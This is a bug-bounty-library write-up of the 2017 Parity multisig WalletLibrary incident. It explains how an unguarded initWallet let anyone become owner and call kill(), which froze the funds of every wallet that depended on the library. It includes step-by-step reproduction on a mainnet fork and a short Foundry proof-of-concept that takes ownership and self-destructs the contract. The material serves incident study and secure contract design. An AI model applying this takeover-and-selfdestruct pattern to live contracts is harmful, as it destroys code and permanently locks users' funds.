# Parity WalletLibrary: unprotected initWallet enables kill() self-destruct

Parity multisig WalletLibrary had an unprotected initWallet that let anyone become owner and call kill(), destroying the library and freezing funds.

- Payout: Real-world hack
- Severity: critical
- Program: Parity
- Analysis by: DeFiHackLabs
- Disclosed: 2017-11-06
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2017-11/Parity_kill_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20171106-parity-kill
- Tags: area:web3 domain:web3 impact:dos impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:source-review vuln:access-control vuln:business-logic

**Target:** Parity multisig wallet library contract (0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4)
**Root cause:** The shared WalletLibrary contract exposed initWallet without an initialized/owner guard, so any caller could set themselves as owner; kill() then self-destructed the library that all wallets delegated to.
**Steps:**
1. Fork mainnet at block 4501735.
2. Call `WalletLibrary.isOwner(address(this))` to confirm caller is not owner.
3. Push attacker address into owners array and call `WalletLibrary.initWallet(owner, 0, 0)`.
4. Verify `isOwner(address(this))` now returns true.
5. Call `WalletLibrary.kill(address(this))` to self-destruct the library.
6. Confirm `isOwner` returns 0 since contract is destroyed.
**Exploitation:** Attacker called initWallet on the uninitialized shared library to become owner, then invoked kill() causing selfdestruct; every wallet delegating to the library lost its logic, permanently freezing funds.
**Escalation:** Single library shared by many multisig wallets meant one selfdestruct froze all dependent wallets' funds.
**Insight:** Shared library/proxy contracts must guard initializers; an uninitialized implementation contract is directly callable and its selfdestruct bricks every proxy delegating to it.

## Proof of concept (copied exactly from the original report)

**Foundry PoC calling initWallet then kill**

```
function testExploit() public {
        WalletLibrary.isOwner(address(this)); // not a owner of contract
        owner.push(address(this));
        WalletLibrary.initWallet(owner, 0, 0);
        bool isowner = WalletLibrary.isOwner(address(this)); // you are owner of contract now
        assertTrue(isowner);
        WalletLibrary.kill(address(this));
        WalletLibrary.isOwner(address(this)); // contract destroyed, return 0
    }
```